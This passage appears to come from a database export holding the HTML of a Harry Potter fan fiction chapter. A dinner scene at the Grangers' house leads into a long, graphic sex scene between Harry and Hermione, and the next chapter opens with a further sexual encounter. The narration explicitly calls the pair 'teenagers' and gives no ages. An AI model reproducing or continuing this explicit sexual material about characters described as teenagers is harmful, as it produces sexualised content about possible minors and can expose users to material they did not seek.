class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My goodness, that looks wonderful,&#8221; Mrs. Granger commented.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you,&#8221; Harry called as he came back in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He placed a bowl of rice next to Hermione, a bowl of garlic\npotatoes next to Mr. Granger, and a plate of fresh strawberries next to Mrs.\nGranger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My word, Harry, you didn&#8217;t have to do all this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not a problem, ma&#8217;am, I don&#8217;t mind cooking.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jeez Harry, now I understand why you wanted oregano and\nstrawberries,&#8221; Hermione laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I couldn&#8217;t find any on the shelves.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, let&#8217;s dig in&#8230;shall we?&#8221; Mr. Granger suggested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my gosh!&#8221; Melinda gasped, &#8220;Harry, what&#8217;s in this?&nbsp; It&#8217;s incredible!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At the risk of insulting my own wife, Harry, this is the\nbest roast chicken that I&#8217;ve ever had!&#8221; Mr. Granger sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad you like it,&#8221; he answered and flushed slightly.&nbsp; Hermione squeezed his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230;you&#8217;ve still got a few tricks up your sleeve, eh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe&#8230;go ahead and enjoy it, but please leave room for\ndessert.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dessert?&#8221; they all asked him at the same time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, in fact, it should be done by now.&nbsp; Excuse me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood up out of his chair and headed back into the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey sweetie, I&#8217;d hang onto that boy if I were you,&#8221; Mrs.\nGranger laughed. &#8220;He does things without even being asked.&nbsp; That&#8217;s a quality that many women want in the\nman they love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, would you cut it out!&#8221; Hermione gasped and blushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did I miss anything?&#8221; Harry asked as he came back in\nwearing oven mittens and carrying a steaming pie tin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;d you make?&#8221; his girlfriend inquired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing much, it&#8217;s just plain, old apple pie.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My goodness, Harry, you&#8217;re spoiling us all,&#8221; Mr. Granger\nlaughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I figured that I might as well do something useful\nwhile I&#8217;m here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After dinner was over, Harry returned to the kitchen to\nclean the dishes, and Hermione followed him with a pile of plates in her hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you still mad at me?&#8221; he asked while scrubbing the\nutensils.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, a little, but that food was great so I guess I can\nforgive you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned towards her and saw the warm smile on her\nface.&nbsp; Pulling his hands out of the\nsoapy water, he wrapped his arms around her &#8211; suds and all.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, what are you hmmph&#8230;&#8221; Hermione tried to object, but\nhis mouth shut her up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll get soap in my hair!&#8221; she finally said out of\nbreath.&nbsp; He merely grinned at her and\nkissed her again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s okay&#8230;&#8221; he said against her lips, &#8220;&#8230;we&#8217;ll wash it off\nin the shower later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why you?&nbsp; What makes\nyou think that&#8217;s going to happen?&#8221; she said rather irritated but still unable\nto break their kiss.&nbsp; Harry pulled her\nagainst his body and nuzzled her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because I haven&#8217;t given you my special dessert yet,\nsweetheart.&#8221; Her eyes lit up at the low, seductive tone in his voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, and just what does this &#8216;dessert&#8217; entail?&#8221; Hermione\ncooed softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahem!&#8221; The two jumped apart as Mrs. Granger entered the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I see you two were busy in here,&#8221; she said with a wide\ngrin.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both teenagers blushed deeply knowing that they&#8217;d been\ncaught and quickly went back to cleaning the dishes.&nbsp; Harry washed, and Hermione dried.&nbsp; Once they were all finished, he brushed up against her and leaned\ndown next to her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Later tonight, my Hermione,&#8221; he whispered.&nbsp; Her eyes turned in his direction, but she\ndidn&#8217;t move her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll be waiting, my love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry drew back from her before Mrs. Granger noticed him and\nstarted putting the plates back into the cabinets.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Late that night, Harry lay in his room listening for any\nmovement in the house.&nbsp; Mr. and Mrs.\nGranger had gone to bed about an hour before, and he was just biding his\ntime.&nbsp; Hedwig chirped from inside her\ncage, and Harry climbed out of bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey girl, you want to go out?&#8221; The snowy owl bobbed its\nhead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; he opened the cage, and she perched onto his arm,\n&#8220;&#8230;off you go.&#8221; Hedwig flew out his window into the quiet night, searching for a\nmidnight snack.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;It&#8217;s about time,&#8217; he thought to himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry decided it would be smarter if he didn&#8217;t walk down to\nHermione&#8217;s room; he didn&#8217;t want to wake up her parents.&nbsp; So, getting a picture of her room in his\nmind, he disapparated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rubbed her hands together anxiously; her whole body\nwas tingling with nervousness.&nbsp; The\nthought of having Harry here&#8230;in her &#8216;real&#8217; bed made her blood begin to\nboil.&nbsp; She picked up a candle from her\nnightstand and walked over to her dresser.&nbsp;\nShe checked her appearance in the mirror to make sure that her hair\nhadn&#8217;t been ruffled from lying on her bed.&nbsp;\nHermione looked down at her attire.&nbsp;\nShe&#8217;d been a little apprehensive about wearing a nightgown in front of\nHarry, but her heart told her to trust him.&nbsp;\nIt wasn&#8217;t provocative &#8211; merely simple sleepwear.&nbsp; The material was thin but not transparent,\nand it ran all the way down her legs.&nbsp; A\nsmall pop made her turn her head, and she saw Harry apparate into her bedroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Bloody hell!&#8217; his mind screamed when he beheld the sight in\nfront of him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart&#8230;is that&#8230;is that really you?&#8221; he gulped with his\njaw on the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like it?&#8221; Hermione asked as she pirouetted in front of him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;I&#8230;I&#8230;come here, please.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled at the pleading tone in his voice and went\nstraight into his arms.&nbsp; He was only\nwearing a t-shirt and shorts, and she licked her lips.&nbsp; That just made less to take off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look exquisite,&#8221; Harry murmured and cupped her face in\nhis hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And you look dashing &#8211; as usual,&#8221; she replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tightening his hold on her, Harry bent down and captured her\nlips with his.&nbsp; Hermione melted into him\nwithin a matter of seconds, and she slowly led him over to her bed.&nbsp; Breaking their kiss, she pushed him down\nonto the edge of the mattress, and he sat there gazing up at her with hungry\neyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We better keep it down, or my parents will wonder what&#8217;s\ngoing on down here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a moment&#8230;&#8221; Harry raised his hand and muttered a soft\nchant.&nbsp; Hermione heard a soft click and\ngrinned; he&#8217;d locked her door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did you just do?&#8221; His eyes danced with simmering\ndesire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just put a silencing charm over your room&#8230;&#8221; He wrapped his\narms around her waist and pulled her body against him, &#8220;&#8230;Now, you can scream as\nloud as you want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled seductively and removed his glasses.&nbsp; She tugged on his shirt, and Harry raised\nhis arms to help her.&nbsp; Dropping the\nunwanted garment to the floor, she ran a hand down his chest before kneeling\nbetween his legs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Off!&#8221; she muttered, pulling on his boxer shorts.&nbsp; Harry grinned at her impatience and raised\nhis hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tossed them to other side of her room and looked up\ninto her lover&#8217;s face.&nbsp; He just sat\nthere gazing down at her with a slightly confused expression.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;You&#8217;re in for it now, Harry,&#8217; she said silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bringing her hand up, she encircled him in her palm.&nbsp; His eyes shot open when her fingers closed\naround his shaft and slowly began sliding along the length of him.&nbsp; Hermione grinned wryly when she saw how\nquickly he hardened under her soft caresses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;God Herm, you&#8217;re so good!&#8221; he groaned, and his head lulled\nback.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You ain&#8217;t seen anything yet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grabbing the base of his member, she lowered her head\nbetween his thighs and gently touched him with her tongue.&nbsp; Harry&#8217;s fists clenched in the sheets, and\nhis entire body tensed like a tight rubber band.&nbsp; She traced her tongue all the way down his hardness then slid\nback up at an even slower pace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;please&#8230;&#8221; Harry didn&#8217;t even comprehend what he was\nsaying; he just wanted her torture to end.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She flicked her tongue on the underside of his shaft and hit\nthe hot spot just below the tip.&nbsp; Taking\npity on him, Hermione opened her mouth and took him inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry slowly regained his senses, and he looked down to see\nher pleasuring him.&nbsp; He&#8217;d dreamt about\nher doing this to him, but he&#8217;d never asked for it nor would he ask.&nbsp; She gave all she had to him, and he would\nsoon give all he had to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;By Merlin, where did she learn to do this?&#8217; She seemed to\nknow exactly how to touch him to drive him wild.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt her body getting hot when he began to moan her\nname.&nbsp; It made her excited to know that\nshe was pleasing him so much.&nbsp; She knew\nthat she couldn&#8217;t handle all of him, but she tried her best.&nbsp; Wrapping her hands around him again, she\nbegan to bob up and down his hard length.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hmm, I&#8217;ll never complain about this part of him,&#8217; she\nlaughed silently.&nbsp; Hermione could just\nthink about how many girls would want to know how &#8216;gifted&#8217; Harry really was,\nbut she would never tell.&nbsp; That was her\nsecret and hers alone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;that&#8217;s enough, my love,&#8221; Harry grunted.&nbsp; She released her hold on him and looked up\nat him confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Didn&#8217;t I do it right?&#8221; she asked.&nbsp; He smiled lovingly and cupped her face in his hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As always, you were perfect.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled her up into his lap and kissed her\nhungrily.&nbsp; He toyed with the straps on\nher nightgown, but then a wicked idea wormed its way into his skull.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was enjoying the taste of his kisses when she felt\nhis hands sliding up her legs.&nbsp; He\npushed her nightgown higher and higher, exposing her hot skin to the cool\nair.&nbsp; Sliding his hands up her supple\nthighs, Harry opened her legs and set her across his lap.&nbsp; His right hand wormed its way inside, and he\nwas surprised at his discovery.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, you naughty girl&#8230;&#8221; he murmured while nibbling on her\nearlobe, &#8220;&#8230;forgetting to wear underwear.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who says I forgot?&#8221; Hermione retorted, winking at him\nsuggestively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then&#8230;I guess I&#8217;ll be naughty too then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pushed her nightgown up around her hips and lifted her\nup.&nbsp; Before Hermione could prepare\nherself, he opened her up and buried himself inside her.&nbsp; He growled in pleasure and nuzzled her\nneck.&nbsp; God, she was so hot&#8230;so tight for\nhim; her body was so willing to accept his invasion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was slightly surprised that Harry hadn&#8217;t removed\nher nightgown, but she stopped thinking when he began moving inside her.&nbsp; He guided her up and down his erection as\nshe bounced up his hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Now that his hands were free to work, Harry pulled down the\ntop of her nightgown and took her neglected breasts into his hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Harry!&#8221; his lover gasped as he toyed with her hard\nnipples.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He loved the fact that her body fit perfectly in his hands;\nher breasts were a plump handful yet still firm and round.&nbsp; He couldn&#8217;t ask for anything more; he&#8217;d been\ngiven a goddess to love.&nbsp; Harry stopped\nsucking on her neck in light of drinking the sweetness from her breasts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;I want you&#8230;I want you now and always,&#8221; he growled\nhungrily as he suckled on her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Harry&#8230;&#8221; she cried out as she held his head against her\nbreast, &#8220;&#8230;take me&#8230;take all of me&#8230;now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was like being struck by lightning as the two lovers\nclimaxed as one.&nbsp; Hermione tightened\naround him - her body begging for his release.&nbsp;\nHarry crushed her body against his as he came deep inside her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They collapsed onto Hermione&#8217;s bed sated for now.&nbsp; He slipped from her body, and she turned on\nher side.&nbsp; Harry spooned up against her\nback and laid gentle kisses along her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have I told you today how much I love you?&#8221; She cooed\nsoftly and snuggled back into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, but you can say it as many times as you want, my\ndarling.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned her head and looked into those big, brown eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you, my sweet angel.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I love you, my loving hero.&#8221; He kissed her softly, and\ntheir passion ignited once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It wasn&#8217;t long before his hands drifted upward and cupped\nher breasts through her nightgown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know&#8230;&#8221; she sighed as he squeezed and kneaded her tender\nflesh, &#8220;&#8230;you could just take it off.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True, but I kinda like you with it on.&nbsp; You looked really sexy while we were making\nlove.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;I guess I don&#8217;t mind either then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good,&#8221; Harry whispered as his hands pulled her nightie down\nonce again. &#8220;Cause I want you again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But didn&#8217;t you just?&#8221; Hermione gasped, but he shut her\nmouth with a kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Doesn&#8217;t matter, sweetheart, I could go all night if you\nwanted me to; I&#8217;ll never be too tired to pleasure you.&#8221; Proving his point,\nHarry parted her thighs and gently slipped into her from behind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed happily and let him control their movements.&nbsp; She rocked her hips, and he slowly moved\ninside her.&nbsp; Harry knew how to bring her\nto the edge very quickly, but this time, he was gonna make it last.&nbsp; He thrust himself inside her sweet opening,\ndriving deeper every time.&nbsp; Hermione\nstopped moving and let Harry love her, as he wanted, while his hands worshipped\nher body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">True to his word, Harry made love to her hour after\nhour.&nbsp; He brought her to the brink\nseveral times but never let her reach the precipice.&nbsp; Hermione was writhing in agony and ecstasy at Harry&#8217;s refusal to\nbring to her to orgasm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&nbsp;\nPlease&#8230;please&#8230;I can&#8217;t take it anymore!&#8221; she begged with tears in her\neyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At her plea, he drove himself deep inside her and squeezed\nher nipples to add extra pressure.&nbsp; His\nmouth swarmed over hers in a hungry assault, and she nearly howled as at last\nshe was allowed her release.&nbsp; However,\nthis time was different.&nbsp; The tension\nthat Harry had built up in her made it go on and on and on.&nbsp; The first wave slammed into her so hard that\nHermione nearly passed out &#8211; then another one slammed into her then another and\nanother and another.&nbsp; She came\nuncontrollably as Harry continued to assault her senses.&nbsp; His manhood swelled inside her, and he\nplunged into her one final time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; he cried out, spilling his seed into her aching\nbody.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she answered as the rush of his warmth inside her\npushed her over the edge one final time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two lovers were a complete wreck.&nbsp; Hermione&#8217;s nightgown was plastered to her\nsweat-drenched skin, and her hair was a tangled mess on the pillows.&nbsp; Her eyes were closed, and she was puffing\nout breathes a mile a minute.&nbsp; Harry\nbrushed her wet hair out of her face and rolled her onto her back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re amazing, sweetheart,&#8221; he sighed while stroking her\ncheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, you are, my love.&nbsp;\nGosh, how long was that&#8230;three&#8230;four hours?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Around that I guess, but I&#8217;m not sure.&nbsp; I get distracted when I&#8217;m around you,&#8221; he\nteased and kissed her swollen lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shivered, and she realized how cold she felt.&nbsp; Her wet nightgown felt like ice against her\nhot skin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here, let&#8217;s warm you up,&#8221; Harry advised.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pulling off the soaked material, Hermione dropped it to the\nground and rolled back into his arms.&nbsp;\nHe pressed her up against his body, and she purred happily, feeling his\nwarmth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, I love being with you like this,&#8221; she sighed happily\nand buried her face in his throat.&nbsp; He\nkissed her forehead and grabbed hold of her comforter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s rest now, sweetheart,&#8221; he sighed and wrapped the\nblanket around them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, but don&#8217;t be surprised if I wake you up in a few\nhours,&#8221; she teased and looked up at him with a big smile on her face.&nbsp; Harry bent down and kissed her goodnight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anything you want, Hermione, you know I can&#8217;t say &#8216;no&#8217; to\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pleasant dreams, Harry.&#8221; He tightened his hold on her and\nsettled her on his chest to sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t need to dream anymore.&nbsp; My dream&#8217;s already come true,&#8221; and he tucked the blanket around\nher small body.&nbsp; Hermione smiled against\nhis chest and placed her hand on top of his heart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So has mine, my darling, so has mine,&#8221; and she closed her\neyes, feeling him stroking his fingers through her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched her for a few minutes, feeling his body ready\nto slip into a deep sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;I have but one dream left, Hermione Granger, and that is to\nmake you, Hermione Potter.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 4, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry woke up with a slight headache.&nbsp; He reached out to hold onto Hermione,\nknowing that it would take his mind off it, but he found the spot beside him\nempty.&nbsp; Opening his eyes, he saw that\nshe&#8217;d already gotten out of bed.&nbsp;\nHarry&#8217;s sharp eyes picked up the sound of her shower turning off, and a\nminute later, Hermione walked back into the room clad only in a long, fluffy\ntowel.&nbsp; Rolling onto his back, the young\nwizard put his hands behind his head and whistled softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; Hermione jumped slightly, seeing him staring at her\nwith the world&#8217;s biggest grin on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice outfit, Herm, it becomes you quite well,&#8221; he laughed,\nbut his eyes began to darken with desire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione licked her lips and sashayed off to the bed,\nletting her hips sway wider than normal.&nbsp;\nShe sat down next to him, and Harry sat up to take her in his arms.&nbsp; He caught her mouth with a soft kiss that\nquickly turned into a raging inferno.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, we can&#8217;t, Harry, it&#8217;s time to get up,&#8221; his lover\nprotested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I have a headache, and I need some consoling for the\npain,&#8221; he pouted, giving her his best imitation of puppy dog eyes.&nbsp; Hermione bopped him on the nose and giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re insatiable, my love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No more than you, sweetheart.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry lay back and pulled Hermione on top of him.&nbsp; She didn&#8217;t resist him as he undid her towel\nand began to caress the wonders of her body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; a voice called through her door; the two lovers\nfroze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Oh no, it&#8217;s my mom!&#8217; the young woman gulped silently.&nbsp; To Harry&#8217;s silent protest, she tied the\ntowel back around her body and jumped off the bed to grab her robe on her\ndresser.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See you in a few minutes,&#8221; Harry said with a regretful\nsmile and disapparated right off her bed.&nbsp;\nShe giggled again; magic definitely had its advantages.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Tying her robe in place, Hermione lifted the silencing charm\nfrom her room and headed for the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Coming mom,&#8221; she called a few seconds before she opened the\ndoor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shut her bedroom door trying to keep from laughing\nher head off.&nbsp; Her mom had been\nsuspicious that she and Harry might be going at it so she&#8217;d come to check on\nthem.&nbsp; If it wasn&#8217;t for 